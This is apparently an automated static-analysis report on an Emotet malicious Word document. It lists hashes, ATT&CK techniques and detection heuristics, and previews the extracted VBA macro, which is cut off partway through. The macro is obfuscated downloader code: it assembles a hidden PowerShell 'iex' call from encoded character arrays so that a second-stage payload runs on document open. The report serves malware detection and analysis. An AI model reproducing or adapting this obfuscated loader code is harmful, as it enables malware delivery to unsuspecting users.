Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 110f02dbef69e026…

MALICIOUS

Office (OLE)

234.0 KB Created: 2018-06-27 09:34:00 Authoring application: Microsoft Office Word First seen: 2018-07-27
MD5: dfc1fbe1e4198f4e39b0eb54e3a7dcdc SHA-1: 2daf60c7f01913e68d19c1d778d2058c4159f718 SHA-256: 110f02dbef69e026a68234a5df49afe1780b25d63f47958db0382f08e6c90d42
242 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro utilizes the Shell() function, indicating an intent to execute external code. ClamAV detection confirms this as Emotet, a known downloader family. The macro's obfuscated string concatenation suggests it is constructing a command to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6877379-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6877379-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11168 bytes
SHA-256: 1b44683bffdbe1d6e974181739b0eb90b91b24c5a7dff91ae19b1f21b1668070
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "oALqvcbrjNY"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "hlwWpPMZNpBuon"
Function avpfMm()
On Error Resume Next
zmFkH = Sin(81467)
dJUkwh = 80272
zJAEO = cXVMWn
toMMu = 71796
icoobb = 60719
uRijzP = CDate(44161)
RjZEpTAiR = "Hel" + "l  ." + Chr(40) + " " + "$PsHome" + "[21]" + Chr(43) + "$" + "psH" + "omE[3" + "4]" + Chr(43) + "'x'" + Chr(41) + " " + Chr(40) + " [sTr" + "InG]::" + "jO" + "In" + Chr(40) + "''"
aFriSp = Sin(69316)
falouh = 60798
VGKEGV = rTzPaj
rdPvz = 17471
ljHih = 44635
zltZdq = CDate(30496)
miYIYjT = ", " + Chr(40) + " " + "[ChAR" + "[]]" + Chr(40) + " 96, 40" + ",38," + " 47 ," + "121 , 4"
wplzV = Sin(46653)
AwKXpF = 64730
zIqdc = JGMBRN
pItQb = 59733
kHtXG = 66995
fJzGCC = CDate(54452)
GqcdLMXkHNu = "2,33" + " , 51 , " + "105," + "43 ,38" + ", " + "46, 3"
qZoAJ = Sin(48073)
McZBqP = 78667
ziWLW = OaCzfK
uREftC = 92018
aEvpc = 11089
OzMJov = CDate(47335)
JWEuDfQdBK = "3, 39 ," + "48" + ", 10" + "0, 1" + "0," + "33 ,48 " + ",1" + "06, 19 " + ",33, 38 " + ", 7 " + ",40 ,45,"
fJtNNa = Sin(81702)
EXRWm = 46230
MNJqWi = qSTvzj
SRDVNz = 15232
IiArop = 91464
CDjJt = CDate(80287)
EOjfBh = " 33 , 42" + ",48,12" + "7,96 , " + "51" + ", 0, 2,1" + "21 " + ",99,44,"
DOKBLL = Sin(58957)
zpavtR = 58852
iijvrn = Uiiqo
FmjdYF = 63024
DWPioh = 78928
fwfCiF = CDate(51497)
bLHoKjEzW = "48 " + ",48, 5" + "2,126" + ",107 , " + "107" + ",41 , " + "37 ," + "48, 3"
bRLOcp = Sin(19770)
BHtSK = 26525
jpMcw = RTiThb
pBmCA = 22224
jmasr = 72397
LziiiN = CDate(60623)
zCiZzRicp = "2 " + ", 37 " + ", 42 " + ",55" + ", 49 ,4" + "2, 37 ,4" + "2,43, 1" + "06," + "39, " + "43,4" + "1, 107 " + ", 5"
BWEJM = Sin(70644)
iBdHWO = 63449
aZLOh = JckTq
aKJHoK = 8577
WFFlJ = 10825
nCivt = CDate(17023)
ETWbi = "5 , " + "43 ,48 " + ", " + "52 , 4" + "5,33 " + ", 1" + "07 " + ",1"
avpfMm = RjZEpTAiR + miYIYjT + GqcdLMXkHNu + JWEuDfQdBK + EOjfBh + bLHoKjEzW + zCiZzRicp + ETWbi
iGsZi = CDate(38864)
GwKXib = 56135
LwRjd = Sin(51902)
szRnGq = RWEdw
FjKdQ = 22463
CGNMS = 71852
End Function
Function KdQautmPUjZ()
On Error Resume Next
twYSN = CDate(29845)
kHrPK = 62738
vRzWwI = Sin(9120)
SAtNP = tlkEV
mGVFY = 99825
EbZRE = 73172
aFLBGEPqw = "24, 47 " + ", 21 ," + " 114 ,1" + "5,107" + ",4 ,44," + " 48 ," + "48 ," + "52 ,1" + "26, 107," + " 107 , 5" + "1 ,51 , "
DjVccA = CDate(26092)
sWnDJ = 64993
DiBcJf = Sin(3863)
PCSPm = asiobX
cmNHN = 30924
NZhFlI = 87077
HjrKcPijDR = "51 , 10" + "6 " + ", 55,3" + "7 ,61 ," + "35 , " + "45, " + "42,41,3" + "3, 32 " + ", " + "45 " + ", 37" + ",106"
LbqDrs = CDate(71930)
rpziFI = 61586
cuwKi = Sin(21738)
twDqUN = ijroEn
OkapJa = 83642
GMLzOw = 16744
miwuClfGVi = ", 39 , " + "43" + " , 41 , " + "107 ," + " 114" + " , 35 " + ",11 ,51 " + ", 6 " + ", "
vsKcT = CDate(71957)
JwrbO = 15343
CAWUu = Sin(5610)
zFzFr = iXwhVY
uGdQC = 16836
NSXAu = 40591
coumRhlC = "39, " + "107" + " ,4 , " + "44 ," + " 48, 48" + " , 52 ,1" + "26 ,"
voJJOL = CDate(23101)
EsVVUW = 33541
Cfawjz = Sin(64216)
TbYFt = jhwKW
cWbNbV = 4560
NSnjXh = 17860
ZzoIibIj = " 10" + "7, 10" + "7,5" + "1,5" + "1, 5" + "1,106" + " ," + "34 " + ", 33, 3" + "2,"
KjIGG = CDate(96269)
wvEhR = 14741
cbIulb = Sin(58274)
zUSpBn = iLtGfT
YHcpfR = 75275
skCGV = 74748
VTvvHdj = " 33, " + "54 " + ", 37 , " + "40 ,37" + ",54" + ", 41 , 5"
KdQautmPUjZ = aFLBGEPqw + HjrKcPijDR + miwuClfGVi + coumRhlC + ZzoIibIj + VTvvHdj
FinCj = CDate(43368)
HjshY = 76812
VNoOoA = Sin(68073)
slpGnb = nvRCGi
zkiJt = 81554
JXLhN = 53732
End Function
Function FdzCnpoQzr()
On Error Resume Next
jqrAJ = CDate(51725)
qEzPwK = 91830
HhwdSa = Sin(7300)
YizJj = iZZzE
hdnSi = 65851
fDVrHw = 46532
TVEzW = "5 , 4" + "5, " + "42" + ", 48 " + ", 33 , " + "54" + " , 42 , " + "37 ,48,4" + "5 " + ", 43 ,"
RMjJwN = CDate(93852)
OCiFD = 24561
Ho
... (truncated)

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